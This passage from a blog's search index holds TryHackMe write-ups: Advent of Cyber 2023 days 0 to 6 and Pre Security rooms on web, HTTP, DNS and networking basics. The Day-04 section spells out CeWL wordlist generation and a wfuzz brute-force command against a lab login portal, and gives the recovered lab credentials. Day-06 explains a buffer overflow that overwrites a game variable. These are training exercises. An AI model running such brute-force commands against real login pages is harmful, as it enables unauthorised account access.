please check out the Password Attacks room.\nNo answer needed\nDay-04 Baby, it\u0026rsquo;s CeWLd outside\nStoryline\nAntarctiCrafts, a company specializing in ice sculptures, has suffered a security breach on its confidential employee communication portal. An investigation revealed that an individual named McGreedy sold company credentials, allowing a hacker to bypass security via a brute-force attack.\nBecause the attacker gained access quickly, it is suspected they used a customized wordlist generated by a tool like CeWL. We will now attempt to replicate this process to test the portal\u0026rsquo;s vulnerability.\nOverview\nCeWL is a custom wordlist generator that creates target-specific lists by spidering a website and extracting its unique vocabulary, which is often more effective for brute-forcing than generic dictionaries.\nWe can install it via apt-get and use it to generate wordlists by providing a target URL, optionally specifying the spidering depth (-d), minimum word length (-m), and an output file (-w).\nTo gain access to a login portal, we first use CeWL to scrape the target\u0026rsquo;s homepage for potential passwords and the team page for usernames. Once these custom lists are generated, we use Wfuzz to perform a brute-force attack against the /login.php endpoint.\nBy defining the POST data and filtering out the \u0026ldquo;incorrect credentials\u0026rdquo; response message, we can identify the valid username and password combination required to access the application dashboard.\nPractical\n# Specify spidering depth # The -d option allows you to set how deep CeWL should spider. For example, to spider two links deep cewl http://10.10.209.108 -d 2 -w output1.txt # Set minimum and maximum word length # Use the -m and -x options respectively. For instance, to get words between 5 and 10 characters cewl http://10.10.209.108 -m 5 -x 10 -w output2.txt # Handle authentication # If the target site is behind a login, you can use the -a flag for form-based authentication. # Custom extensions # The --with-numbers option will append numbers to words, and using --extension # allows you to append custom extensions to each word, making it useful for directory or file brute-forcing. # Follow external links # By default, CeWL doesn\u0026#39;t spider external sites, but using the --offsite option allows you to do so. # Create a password list using CeWL cewl -d 2 -m 5 -w passwords.txt http://10.10.209.108 --with-numbers # Create a username list using CeWL cewl -d 0 -m 5 -w usernames.txt http://10.10.209.108/team.php --lowercase # Brute-force the login portal using wfuzz # -z file,usernames.txt loads the usernames list. # -z file,passwords.txt uses the password list generated by CeWL. # --hs \u0026#34;Please enter the correct credentials\u0026#34; hides responses containing the string \u0026#34;Please enter the correct credentials\u0026#34;, # which is the message displayed for wrong login attempts. # -u specifies the target URL. # -d \u0026#34;username=FUZZ\u0026amp;password=FUZ2Z\u0026#34; provides the POST data format where FUZZ will be replaced by usernames and FUZ2Z by passwords. wfuzz -c -z file,usernames.txt -z file,passwords.txt --hs \u0026#34;Please enter the correct credentials\u0026#34; -u http://10.10.209.108/login.php -d \u0026#34;username=FUZZ\u0026amp;password=FUZ2Z\u0026#34; Questions and Answers Question-1: What is the correct username and password combination? Format username:password\nisaias:Happiness\nQuestion-2: What is the flag?\nTHM{\u0026lt;redacted-flag\u0026gt;}\nQuestion-3: If you enjoyed this task, feel free to check out the Web Enumeration room.\nNo answer needed\nDay-05 A Christmas DOScovery: Tapes of Yule-tide Past\nStoryline\nAfter gaining access to the server room, we recover backup tapes that are incompatible with current recovery tools.\nTo resolve this, we must use a legacy version of the troubleshooting tool that only runs on Disk Operating System (DOS), requiring us to operate an old computer found within the IT room to restore the backups.\nOverview\nWe are tasked with assisting McSkidy\u0026rsquo;s team in restoring a facility\u0026rsquo;s systems by recovering a backup file in a DOS environment. To achieve this, we must use a DOS emulator to repair a corrupted backup file and run a restoration tool to retrieve the flag.\nThis challenge teaches the concept of file signatures, or magic bytes, which are specific byte sequences at the start of a file used to identify its format.\nWe start by familiarizing ourselves with basic DOS commands such as DIR, TYPE, and EDIT. After attempting to restore the backup using BUMASTER.EXE, we encounter a signature error.\nBy reviewing the README.TXT file and experimenting with the Turbo C Compiler to observe the MZ signature in executables, we learn how to identify and modify these bytes.\nWe then use the MS-DOS Editor to change the incorrect magic bytes in AC2023.BAK from XX to AC. Once the signature is corrected, we rerun BUMASTER.EXE to successfully restore the backup and obtain the flag.\nQuestions and Answers Question-1: How large (in bytes) is the AC2023.BAK file?\n12,704\nQuestion-2: What is the name of the backup program?\nBackupMaster3000\nQuestion-3: What should the correct bytes be in the backup\u0026rsquo;s file signature to restore the backup properly?\n41 43\nQuestion-4: What is the flag after restoring the backup successfully?\nTHM{\u0026lt;redacted-flag\u0026gt;}\nQuestion-5: What you\u0026rsquo;ve done is a simple form of reverse engineering, but the topic has more than just this. If you are interested in learning more, we recommend checking out our x64 Assembly Crash Course room, which offers a comprehensive guide to reverse engineering at the lowest level.\nNo answer needed\nDay-06 Memories of Christmas Past\nStoryline\nAs part of a corporate merger, we are conducting a training session for South Pole elves to address poor coding practices.\nThe objective is to educate the Frostlings on memory corruption vulnerabilities to ensure their code meets the required security standards.\nThe Game: Memory Corruption Walkthrough\nWe play as CatOrMouse, whose goal is to earn enough coins through freelance programming to purchase a Christmas star from Van Frosty.\nWhile interacting with the world, we discover that changing our player name via Van Holly can cause erratic game behavior, such as random item generation or fluctuating coin counts.\nThis challenge teaches the concept of buffer overflows in C++. We use an integrated debug panel (accessed via the TAB key) to observe how variables are stored in RAM.\nBy entering a name longer than the allocated 12-byte limit for the player_name variable, we can overwrite the adjacent coins variable in memory.\nWe observe that since C++ does not strictly enforce variable boundaries, any extra characters provided in the name field spill over into the memory space of the coins, allowing us to arbitrarily manipulate our currency.\nThe lesson further explores how strings are handled using NULL terminators (0x00) and how integers are stored using little-endian byte order, where the bytes of a number are stored in reverse.\nBy understanding these memory mechanics, we can craft a specific name that overwrites the coins variable with a high hexadecimal value. Our ultimate goal is to exploit this buffer overflow to acquire enough coins to purchase the star and complete the game.\nQuestions and Answers Question-1: If the coins variable had the in-memory value in the image below, how many coins would you have in the game?\n1397772111\nQuestion-2: What is the value of the final flag?\nTHM{\u0026lt;redacted-flag\u0026gt;}\nQuestion-3: We have only explored the surface of buffer overflows in this task. Buffer overflows are the basis of many public exploits and can even be used to gain complete control of a machine. If you want to explore this subject more in-depth, feel free to check the Buffer Overflows room.\nNo answer needed\nQuestion-4: Van Jolly still thinks the Ghost of Christmas Past is in the game. She says she has seen it with her own eyes! She thinks the Ghost is hiding in a glitch, whatever that means. What could she have seen?\nNo answer needed\n","permalink":"https://onebee.blog/blog/thm/aoc23/days-01-06/","summary":"THM | Advent of Cyber 2023 | Days 01-06","title":"AOC23 | Days 01-06"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nEvent: Advent of Cyber 2023\nDay: 00\nTitle: The Insider Threat Who Stole Christmas\nDescription\nGet started with Cyber Security in 24 Days - Learn the basics by doing a new, beginner friendly security challenge every day leading up to Christmas.\nWelcome to Advent of Cyber 2023! We began by reviewing the introductory sections covering prizes, general rules, qualification criteria, certificates, badges, and guidelines for officially recognized video walkthroughs.\nQuestion 1: Read the above and check out the prizes!\nNo answer needed\nRules and a Short Tutorial To keep things fair, we make sure to follow the rules: only hack authorized machines, avoid attacking other users, and use a single account. We can tackle the daily challenges using the in-browser AttackBox or by connecting via OpenVPN.\nDepending on the task, we can access the lab machines through split-screen views, direct links, or SSH/VNC connections.\nQuestion 1: Read the rules!\nNo answer needed\nFollow us on social media! We can stay connected and keep up with task releases by following TryHackMe on Discord, X (Twitter), LinkedIn, Instagram, Facebook, and Reddit. It\u0026rsquo;s a great way for us to find exclusive giveaways and stay updated.\nQuestion 1: Follow us on LinkedIn (opens in new tab)!\nNo answer needed\nQuestion 2: Join our Discord (opens in new tab) and say hi!\nNo answer needed\nQuestion 3: Follow us on Twitter (opens in new tab)!\nNo answer needed\nQuestion 4: Check out the subreddit (opens in new tab)!\nNo answer needed\nQuestion 5: Join us on Instagram (opens in new tab)!\nNo answer needed\nQuestion 6: Follow us on Facebook (opens in new tab)!\nNo answer needed\nJoin the TryHackMe Community! The Discord server is where we go to connect with other hackers and get help with tricky rooms.\nThere is a dedicated Advent of Cyber channel where we can discuss the daily challenges, find career advice, and stay in the loop about upcoming events.\nQuestion 1: Share the annual discount with your friends!\nNo answer needed\nSubscribing, TryHackMe for Business \u0026amp; Christmas Swag! While the event is free, we can use the code AOC2023 for 20% off annual subscriptions until December 8th. We can also grab a special edition Christmas t-shirt from the swag store.\nFor those of us participating with a company, the Business version offers tools to track team progress and create custom learning paths.\nQuestion 1: Is there a dedicated Advent of Cyber channel on TryHackMe Discord where users can discuss daily challenges and receive dedicated support? (yes/no)\nyes\nThe Insider Threat Who Stole Christmas The story takes place at the Best Festival Company, which is currently acquiring its competitor, AntarctiCrafts. While the merger promises exciting new technology, it also brings a major threat: the former owner, Tracy McGreedy, is reportedly planning to sabotage the process using malware and hired hackers.\nWe\u0026rsquo;ll be helping McSkidy, the Chief Information Security Officer, and Detective Frost\u0026rsquo;eau investigate the AntarctiCrafts factory at the South Pole. The facility is a security nightmare with outdated systems and poor coding practices, making it the perfect playground for McGreedy\u0026rsquo;s schemes.\nOur goal is to help the team manage audits, secure the infrastructure, and uncover the traps laid by McGreedy to save the holidays!\nQuestion 1: Are you ready to help Elf McSkidy tackle Advent of Cyber 2023? Come back on December 1st, 4pm GMT when the first daily challenge will be released!\nNo answer needed\n","permalink":"https://onebee.blog/blog/thm/aoc23/day-00/","summary":"THM | Advent of Cyber 2023 | Day 00","title":"AOC23 | Day 00"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nPath: Pre Security\nModule: How The Web Works\nRoom: How Websites Work\nDescription: To exploit a website, you first need to know how they are created.\nHow Websites Work This section presents a brief introduction to how websites function. We note the distinction between client-side and server-side processing.\nQuestion 1: What term best describes the side your browser renders a website?\nClient side\nHTML We review the basic building blocks of HTML. Once we have finished the reading, we deploy the static website in the HTML playground and experiment with it.\nFigure 1: HTML code rendering\nWe fix the missing .jpg extension to display the second cat.\nFigure 2: Fixing missing JPG extension\nWe add the dog image to the site.\nFigure 3: Adding a third image\nQuestion 1: Let\u0026rsquo;s play with some HTML! On the right-hand side, you should see a box that renders HTML - If you enter some HTML into the box and click the green \u0026lsquo;Render HTML Code\u0026rsquo; button, it will render your HTML on the page; you should see an image of some cats.\nNo answer needed\nQuestion 2: One of the images on the cat website is broken - fix it, and the image will reveal the hidden text answer!\n\u0026lt;redacted-flag\u0026gt;\nQuestion 3: Add a dog image to the page by adding another img tag (\u0026lt;img\u0026gt;) on line 11. The dog image location is img/dog-1.png. What is the text in the dog image?\n\u0026lt;redacted-flag\u0026gt;\nJavaScript We read the introduction about JavaScript (JS) and interact with the deployed site to obtain the flag.\nFigure 4: HTML and JavaScript code rendering\nAdding the JavaScript code yields the flag.\ndocument.getElementById(\u0026#34;demo\u0026#34;).innerHTML = \u0026#34;Hack the Planet\u0026#34;; Listing 1: JavaScript code replacing the content of the element with ID demo Figure 5: Adding the additional JavaScript code\nFigure 6: Redacted flag\nWe add and configure a new button to change after being clicked. Note that the JavaScript code for the button is placed after the script element\u0026rsquo;s closing tag (\u0026lt;/script\u0026gt;).\n\u0026lt;button onclick=\u0026#39;document.getElementById(\u0026#34;demo\u0026#34;).innerHTML = \u0026#34;Button Clicked\u0026#34;;\u0026#39;\u0026gt;Click Me!\u0026lt;/button\u0026gt; Listing 2: JavaScript code creating a clickable button that changes the content of the element with ID demo to 'Button Clicked' when clicked Figure 7: Adding JavaScript code for a button\nFigure 8: Rendering JavaScript code with a button and clicking it\nQuestion 1: Click the \u0026lsquo;View Site\u0026rsquo; button on this task. On the right-hand side, add JavaScript that changes the demo element\u0026rsquo;s content to \u0026lsquo;Hack the Planet.\u0026rsquo;\n\u0026lt;redacted-flag\u0026gt;\nQuestion 2: Add the button HTML from this task that changes the element\u0026rsquo;s text to \u0026lsquo;Button Clicked\u0026rsquo; on the editor on the right, update the code by clicking the \u0026lsquo;Render HTML+JS Code\u0026rsquo; button, and then click the button.\nNo answer needed\nSensitive Data Exposure We review the concept of sensitive data exposure and examine the deployed website for exposed login credentials.\nWe attempt to log in without entering a username or password.\nFigure 9: Vulnerable website - login page\nWe are provided with a URL that points to the site\u0026rsquo;s source code. Usually, pressing CTRL+U in the browser would achieve the same result, but doing so here would display the source code belonging to the current room rather than the deployed site.\nFigure 10: Vulnerable website - provided source code\nWe retrieve the exposed login credentials.\nFigure 11: Hidden credentials in the source code\nQuestion 1: View the website on this task. What is the password hidden in the source code?\n\u0026lt;redacted-password\u0026gt;\nHTML Injection We review HTML injection and methods for preventing it.\nAs mentioned in the description, \u0026ldquo;Input sanitization is very important in keeping a website secure.\u0026rdquo; To demonstrate how dangerous this vulnerability can be when not handled properly, we deploy the attached site and attempt to inject it with a malicious link.\nA quick web search for HTML code link provides the necessary HTML code.\n\u0026lt;!-- defines a hyperlink --\u0026gt; \u0026lt;a href=\u0026#34;url\u0026#34;\u0026gt;link text\u0026lt;/a\u0026gt; \u0026lt;!-- # href attribute indicates the link\u0026#39;s destination # link text the part that will be visible to the reader --\u0026gt; Listing 3: HTML code creating a hyperlink that directs to a URL when clicked Injecting this code into the website yields the flag.\nFigure 12: HTML injection\nFigure 13: Rendered HTML injection\nFigure 14: Redacted flag\nQuestion 1: View the website on this task and inject HTML so that a malicious link to hxxp[://]hacker[.]com (defanged) is shown.\n\u0026lt;redacted-flag\u0026gt;\nWe recommend experimenting with different inputs before proceeding to the next room.\n","permalink":"https://onebee.blog/blog/thm/pre-security/how-the-web-works/how-websites-work/","summary":"THM | Pre Security | How The Web Works | How Websites Work","title":"How Websites Work"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nPath: Pre Security\nModule: How The Web Works\nRoom: HTTP in Detail\nDescription: Learn about how you request content from a web server using the HTTP protocol.\nWhat Is HTTP(S)? After reviewing the introduction to HTTP and HTTPS, we examined the static website provided in the task.\nNotice how the lock symbol at the top of the page is crossed out, indicating that the connection is either insecure (connected via HTTP) or that there is an issue with the site\u0026rsquo;s certificate.\nFigure 1: Certificate issue\nWe clicked the problem indicator to retrieve the flag.\nFigure 2: Certificate issue - redacted flag\nQuestion 1: What does HTTP stand for?\nHyperText Transfer Protocol\nQuestion 2: What does the S in HTTPS stand for?\nSecure\nQuestion 3: On the mock webpage on the right there is an issue; once you\u0026rsquo;ve found it, click on it. What is the challenge flag?\n\u0026lt;redacted-flag\u0026gt;\nRequests and Responses We examined the various features a URL may include in a request. The task also provides an example request and response pair.\nQuestion 1: What HTTP protocol is being used in the above example?\nHTTP/1.1\nQuestion 2: What response header tells the browser how much data to expect?\nContent-Length\nHTTP Methods We read the introduction to the most commonly used HTTP methods.\nQuestion 1: What method would be used to create a new user account?\nPOST\nQuestion 2: What method would be used to update your email address?\nPUT\nQuestion 3: What method would be used to remove a picture you\u0026rsquo;ve uploaded to your account?\nDELETE\nQuestion 4: What method would be used to view a news article?\nGET\nHTTP Status Codes We reviewed the most common HTTP status codes and the different ranges with their respective meanings.\nDeploying the site in this task helped us better understand how some HTTP status messages appear in practice.\nFigure 3: 403 error response\nFigure 4: 404 error response\nFigure 5: 503 error response\nQuestion 1: What response code might you receive if you\u0026rsquo;ve created a new user or blog post article?\n201\nQuestion 2: What response code might you receive if you\u0026rsquo;ve tried to access a page that doesn\u0026rsquo;t exist?\n404\nQuestion 3: What response code might you receive if the web server cannot access its database and the application crashes?\n503\nQuestion 4: What response code might you receive if you try to edit your profile without logging in first?\n401\nHeaders We examined the most common request and response headers.\nQuestion 1: What header tells the web server what browser is being used?\nUser-Agent\nQuestion 2: What header tells the browser what type of data is being returned?\nContent-Type\nQuestion 3: What header tells the web server which website is being requested?\nHost\nCookies We read the introduction to cookies and how they are used.\nTo view our own cookies, we deployed the static site provided with the task and followed the guide to open Developer Tools in our browser. We then followed the instructions provided in the task.\nWe also examined the various methods for accessing developer tools in different browsers.\nFigure 6: Developer tools in Firefox\nFigure 7: Developer tools in Chrome\nFigure 8: Developer tools in Safari\nFigure 9: Developer tools in Edge\nFigure 10: Developer tools in IE\nQuestion 1: Which header is used to save cookies to your computer?\nSet-Cookie\nMaking Requests We created sample requests using the emulator provided in this task.\nFigure 11: How to create requests guide\nWe examined how configuring the request method and setting the URL modifies our request. For the first question, only the URL needed adjustment.\nFigure 12: Redacted flag\nFirst, we set the id parameter to 1 and then adjusted the URL to answer the second question.\nFigure 13: Parameter manipulation\nFigure 14: Adjusted endpoint\nWe cleared the set parameters before proceeding with the third question.\nFigure 15: Parameter reset\nFigure 16: Using HTTPs DELETE request method\nFor the fourth question, we first set the username parameter to admin before sending the request. This updated the username value displayed on the website.\nFigure 17: Adjusting parameter key and value\nFigure 18: Using HTTPs PUT request method\nFigure 19: Specifying username-password pair using parameters\nFor the last question, we attempted to log in to the website by setting the appropriate parameter values.\nFigure 20: Log-in attempt with POST method\nThis marked the end of the room.\nQuestion 1: Make a GET request to /room.\n\u0026lt;redacted-flag\u0026gt;\nQuestion 2: Make a GET request to /blog and, using the gear icon, set the id parameter to 1 in the URL field.\n\u0026lt;redacted-flag\u0026gt;\nQuestion 3: Make a DELETE request to /user/1.\n\u0026lt;redacted-flag\u0026gt;\nQuestion 4: Make a PUT request to /user/2 with the username parameter set to admin.\n\u0026lt;redacted-flag\u0026gt;\nQuestion 5: POST the username of thm and a password of letmein to /login.\n\u0026lt;redacted-flag\u0026gt;\n","permalink":"https://onebee.blog/blog/thm/pre-security/how-the-web-works/http-in-detail/","summary":"THM | Pre Security | How The Web Works | HTTP in Detail","title":"HTTP in Detail"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nPath: Pre Security\nModule: How The Web Works\nRoom: DNS in Detail\nDescription: Learn how DNS works and how it helps you access internet services.\nWhat Is DNS? In this section, we reviewed the introduction to the Domain Name System (DNS).\nQuestion 1: What does DNS stand for?\nDomain Name System\nDomain Hierarchy Did you know that there are TLDs such as flowers, mango, and yoga? In this section, we examined generic top-level domains (gTLDs), country-code top-level domains (ccTLDs), second-level domains, and subdomains.\nQuestion 1: What is the maximum length of a subdomain?\n63\nQuestion 2: Which of the following characters cannot be used in a subdomain (3, b, _, -)?\n_\nQuestion 3: What is the maximum length of a domain name?\n253\nQuestion 4: What type of TLD is .co.uk?\nccTLD\nRecord Types We reviewed the different DNS record types and their functions.\nQuestion 1: What type of record would be used to advise where to send email?\nMX\nQuestion 2: What type of record handles IPv6 addresses?\nAAAA\nMaking a Request In this section, we learned about the steps involved in resolving a domain name request and the order in which they occur.\nQuestion 1: What field specifies how long a DNS record should be cached for?\nTTL\nQuestion 2: What type of DNS server is usually provided by your ISP?\nrecursive\nQuestion 3: What type of server holds all the records for a domain?\nauthoritative\nPractical We used the static site provided in this task to perform DNS queries.\nTo query a record, we selected the DNS Type (#1) and entered the subdomain (#2) we wanted to query. The interface automatically adjusted the command in the command line.\nFigure 1: Default DNS query\nNotice that we specified only shop as the subdomain when querying the CNAME record for shop.website.thm.\nFigure 2: DNS query - specifying CNAME record type\nFigure 3: DNS query - specifying CNAME - results\nWhen querying the TXT record for website.thm, we left the subdomain field blank.\nFigure 4: DNS query - specifying TXT record type\nFigure 5: DNS query - redacted flag\nWe followed the same procedure when querying the MX record.\nFigure 6: DNS query - specifying MX record type\nFigure 7: DNS query - MX type results\nFigure 8: DNS query - A record type\nFigure 9: DNS query - A type results\nThe command used above was:\n# query Internet name servers interactively nslookup --type=CNAME shop.website.thm # type=value This keyword changes the type of the information query to value. # The defaults are A and then AAAA; # the abbreviations for these keywords are q and ty # shop.website.thm \u0026amp;lt;name\u0026amp;gt; Listing 1 - Specifying the DNS record type to query This completed the room.\nQuestion 1: What is the CNAME of shop.website.thm?\nshops.myshopify.com\nQuestion 2: What is the value of the TXT record of website.thm?\n\u0026lt;redacted-flag\u0026gt;\nQuestion 3: What is the numerical priority value for the MX record?\n30\nQuestion 4: What is the IP address for the A record of website.thm?\n10.10.10.10\n","permalink":"https://onebee.blog/blog/thm/pre-security/how-the-web-works/dns-in-detail/","summary":"THM | Pre Security | How The Web Works | DNS in Detail","title":"DNS in Detail"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nPath: Pre Security\nModule: Network Fundamentals\nRoom: Extending Your Network\nDescription: Learn about some of the technologies used to extend networks out onto the Internet and the motivations for this.\nIntroduction to Port Forwarding This section covers the mechanics of port forwarding and its importance in network communications.\nQuestion 1: What is the name of the device that is used to configure port forwarding?\nRouter\nFirewalls 101 This section explains the differences between stateful and stateless firewalls.\nQuestion 1: What layers of the OSI model do firewalls operate at?\nLayer 3, Layer 4\nQuestion 2: What category of firewall inspects the entire connection?\nStateful\nQuestion 3: What category of firewall inspects individual packets?\nStateless\nPractical - Firewall The flag appears after we successfully configure the firewall on the attached static site. Our goal is to prevent a device from overloading by adding the appropriate firewall rule to the router in the middle.\nFigure 1: Firewall simulation\nWe configure the router to DROP all packets accessing our web server (port 80) from the attacker\u0026rsquo;s machine (IP: 203.0.110.1).\nFigure 2: Blocking malicious traffic\nFigure 3: Redacted flag\nQuestion 1: What is the flag?\n\u0026lt;redacted-flag\u0026gt;\nVPN Basics This section introduces VPN technology, its advantages, and its various underlying technologies.\nQuestion 1: What VPN technology only encrypts and provides the authentication of data?\nPPP\nQuestion 2: What VPN technology uses the IP framework?\nIPSec\nLAN Networking Devices This section introduces LAN networking devices, including routers and switches.\nQuestion 1: What is the verb for the action that a router does?\nRouting\nQuestion 2: What are the two different layers of switches? Separate these with a comma (i.e., LayerX, LayerY).\nLayer 2, Layer 3\nPractical - Network Simulator The network simulator attached to this task breaks down the communication between two points and displays it graphically. We recommend experimenting with the simulator to better understand how communication occurs between network devices.\nFigure 4: Network simulator\nWe send a TCP packet from computer1 to computer3 using the switches and the router along the path.\nFigure 5: Simulate network traffic from C1 to C3\nAfter the packet is received on computer3, a pop-up window displays the flag.\nFigure 6: Redacted flag\nBelow is the network log generated after sending a single TCP packet from computer1 to computer3.\nStep Connection Type Network Log 1 HANDSHAKE Starting TCP/IP handshake between computer1 and computer3. 2 HANDSHAKE Sending SYN packet from computer1 to computer3. 3 ROUTING computer1 reports that computer3 is not on the local network; sending to gateway: router. 4 ARP REQUEST Who has router? Tell computer1. 5 ARP RESPONSE Hey computer1, I am router. 6 ARP REQUEST Who has computer3? Tell router. 7 ARP RESPONSE Hey router, I am computer3. 8 HANDSHAKE computer3 received SYN packet from computer1; sending SYN/ACK packet to computer1. 9 HANDSHAKE computer1 received SYN/ACK packet from computer3; sending ACK packet to computer3. 10 HANDSHAKE computer3 received ACK packet from computer1; handshake complete. 11 TCP Sending TCP packet from computer1 to computer3. 12 TCP computer3 received TCP packet from computer1; sending ACK packet to computer1. Table 1: Network log for sending a single TCP packet This concludes the room and marks the completion of the Network Fundamentals module.\nQuestion 1: What is the flag from the network simulator?\n\u0026lt;redacted-flag\u0026gt;\nQuestion 2: How many HANDSHAKE entries are there in the Network Log?\n5\n","permalink":"https://onebee.blog/blog/thm/pre-security/network-fundamentals/extending-your-network/","summary":"THM | Pre Security | Network Fundamentals | Extending Your Network","title":"Extending Your Network"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nPath: Pre Security\nModule: Network Fundamentals\nRoom: Packets \u0026amp; Frames\nDescription: Understand how data is divided into smaller pieces and transmitted across a network to another device.\nWhat Are Packets and Frames? In this section, we examine the distinction between packets and frames, as well as the contexts in which each is used.\nQuestion 1: What is the name for a piece of data when it has IP addressing information?\nPacket\nQuestion 2: What is the name for a piece of data when it does not have IP addressing information?\nFrame\nTCP/IP (The Three-Way Handshake) We review the TCP/IP model \u0026ndash; similar to the OSI model discussed previously \u0026ndash; and examine the mechanics of the three-way handshake.\nQuestion 1: What is the header in a TCP packet that ensures the integrity of data?\nChecksum\nQuestion 2: Provide the order of a normal three-way handshake (with each step separated by a comma).\nSYN,SYN/ACK,ACK\nPractical: Handshake Using the static lab provided in this task, we reassemble the communication between Alice and Bob following the order established by the TCP handshake. The flag is revealed at the end of the exchange.\nFigure 1: Three-way handshake \u0026ndash; SYN\nFigure 2: Three-way handshake \u0026ndash; SYN/ACK\nFigure 3: Three-way handshake \u0026ndash; ACK\nFigure 4: Three-way handshake \u0026ndash; DATA\nFigure 5: Three-way handshake \u0026ndash; ACK after receiving DATA\nFigure 6: Three-way handshake \u0026ndash; FIN/ACK\nFigure 7: Three-way handshake \u0026ndash; FIN/ACK response\nFigure 8: Three-way handshake \u0026ndash; final ACK\nFigure 9: Three-way handshake \u0026ndash; redacted flag\nQuestion 1: What is the value of the flag given at the end of the conversation?\n\u0026lt;redacted-flag\u0026gt;\nUDP/IP We examine the properties of the User Datagram Protocol (UDP) before proceeding to the next task.\nQuestion 1: What does the term UDP stand for?\nUser Datagram Protocol\nQuestion 2: What type of connection is UDP?\nStateless\nQuestion 3: What protocol would you use to transfer a file?\nTCP\nQuestion 4: What protocol would you use to have a video call?\nUDP\nPorts 101 (Practical) Using the provided site, we connect to the IP address 8.8.8.8 (one of Google\u0026rsquo;s public DNS servers) on port 1234. The flag is displayed upon successful connection.\nFigure 10: Netcat connection\nFigure 11: Netcat connection \u0026ndash; redacted flag\nWe used the following command in the terminal:\n# Netcat is a simple Unix utility that reads and writes data across network connections, using TCP or UDP protocol. nc 8.8.8.8 1234 # 8.8.8.8 \u0026amp;lt;hostname\u0026amp;gt; # 1234 \u0026amp;lt;port\u0026amp;gt; Listing 1 - Netcat command Question 1: What is the flag received from the challenge?\n\u0026lt;redacted-flag\u0026gt;\nContinue Your Learning: Extending Your Network With this room complete, only one room remains to finish the module.\nQuestion 1: Terminate the static site lab deployed in tasks 3 and 5.\nNo answer needed\nQuestion 2: Join the Extending Your Network room to continue your learning.\nNo answer needed\n","permalink":"https://onebee.blog/blog/thm/pre-security/network-fundamentals/packets-and-frames/","summary":"THM | Pre Security | Network Fundamentals | Packets \u0026amp; Frames","title":"Packets \u0026 Frames"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nPath: Pre Security\nModule: Network Fundamentals\nRoom: OSI Model\nDescription: Learn about the fundamental networking framework that determines the various stages in which data is handled across a network.\nWhat Is the OSI Model? This room introduces the OSI model and its seven layers. To remember the layers in order from Layer 1 to Layer 7, we use the following mnemonic: Please Do Not Throw Sausage Pizza Away.\nP\u0026ndash;Please - Physical Layer - Layer 1\nD\u0026ndash;Do - Data Link Layer - Layer 2\nN\u0026ndash;Not - Network Layer - Layer 3\nT\u0026ndash;Throw - Transport Layer - Layer 4\nS\u0026ndash;Sausage - Session Layer - Layer 5\nP\u0026ndash;Pizza - Presentation Layer - Layer 6\nA\u0026ndash;Away - Application Layer - Layer 7\nListing 1 - OSI Model Mnemonics Alternatively, one may use the mnemonic All People Seem To Need Data Processing to remember the layers in reverse order (Layer 7 to Layer 1). Use whichever method suits you better.\nQuestion 1: What does the OSI in OSI Model stand for?\nOpen Systems Interconnection\nQuestion 2: How many layers (in digits) does the OSI model have?\n7\nQuestion 3: What is the key term for when pieces of information get added to data?\nencapsulation\nLayer 7 - Application The application layer is the topmost layer of the OSI model, where users interact with software applications. This layer provides the interface between end-user applications and network services.\nQuestion 1: What is the name of this layer?\nApplication\nQuestion 2: What is the technical term that is given to the name of the software that users interact with?\nGraphical User Interface\nLayer 6 - Presentation The presentation layer acts as a translator between the application layer and the network. It is responsible for data formatting, encryption, and compression, ensuring that data sent from one system can be read by another.\nQuestion 1: What is the name of this layer?\nPresentation\nQuestion 2: What is the main purpose that this layer acts as?\nTranslator\nLayer 5 - Session The session layer establishes, manages, and terminates connections between applications. It handles session establishment, maintenance, and synchronization, allowing for organized communication exchanges.\nQuestion 1: What is the name of this layer?\nSession\nQuestion 2: What is the technical term for when a connection is successfully established?\nSession\nQuestion 3: What is the technical term for small chunks of data?\nPackets\nLayer 4 - Transport The transport layer is responsible for end-to-end communication and data flow control.\nThis section covers the two primary protocols at this layer: Transmission Control Protocol (TCP) and User Datagram Protocol (UDP). TCP provides reliable, ordered delivery of data, while UDP offers faster, connectionless communication without guaranteed delivery.\nQuestion 1: What is the name of this layer?\nTransport\nQuestion 2: What does TCP stand for?\nTransmission Control Protocol\nQuestion 3: What does UDP stand for?\nUser Datagram Protocol\nQuestion 4: What protocol guarantees the accuracy of data?\nTCP\nQuestion 5: What protocol does not care if data is received by the other device?\nUDP\nQuestion 6: What protocol would an application such as an email client use?\nTCP\nQuestion 7: What protocol would an application that downloads files use?\nTCP\nQuestion 8: What protocol would an application that streams video use?\nUDP\nLayer 3 - Network The network layer handles logical addressing and routing. It determines the best path for data to travel from source to destination across multiple networks. This layer uses Internet Protocol (IP) addresses to identify devices and routing protocols to select optimal paths.\nQuestion 1: What is the name of this layer?\nNetwork\nQuestion 2: Will packets take the most optimal route across the network? (Y/N)\nY\nQuestion 3: What does the acronym OSPF stand for?\nOpen Shortest Path First\nQuestion 4: What does the acronym RIP stand for?\nRouting Information Protocol\nQuestion 5: What type of addresses are dealt with at this layer?\nIP Addresses\nLayer 2 - Data Link The data link layer provides node-to-node data transfer and handles physical addressing through Media Access Control (MAC) addresses. It is responsible for framing, error detection, and flow control at the local network level. Every networked device requires a Network Interface Card (NIC) to operate at this layer.\nQuestion 1: What is the name of this layer?\nData Link\nQuestion 2: What is the name of the piece of hardware that all networked devices come with?\nNetwork Interface Card\nLayer 1 - Physical The physical layer is the lowest layer of the OSI model, responsible for the physical connection between devices. It defines the electrical, mechanical, and procedural specifications for activating, maintaining, and deactivating physical links. This layer transmits raw bit streams (binary data) over physical media such as Ethernet cables, fiber optics, or wireless signals.\nQuestion 1: What is the name of this layer?\nPhysical\nQuestion 2: What is the name of the numbering system that uses only 0s and 1s?\nBinary\nQuestion 3: What is the name of the cables that are used to connect devices?\nEthernet Cables\nPractical - OSI Game In this practical exercise, we navigate a dungeon game that reinforces the order of the OSI model layers. The objective is to escape the dungeon by climbing through the levels in the correct order (Layer 1 through Layer 7) to retrieve the flag.\nFigure 1: OSI game - start screen\nFigure 2: OSI game - Level 1 (Physical)\nFigure 3: OSI game - Level 7 (Application)\nFigure 4: OSI game - redacted flag\nQuestion 1: Escape the dungeon to retrieve the flag. What is the flag?\n\u0026lt;redacted-flag\u0026gt;\nContinue Your Learning: Packets and Frames This concludes the OSI Model room. We recommend proceeding to the next room in the module to continue building your networking 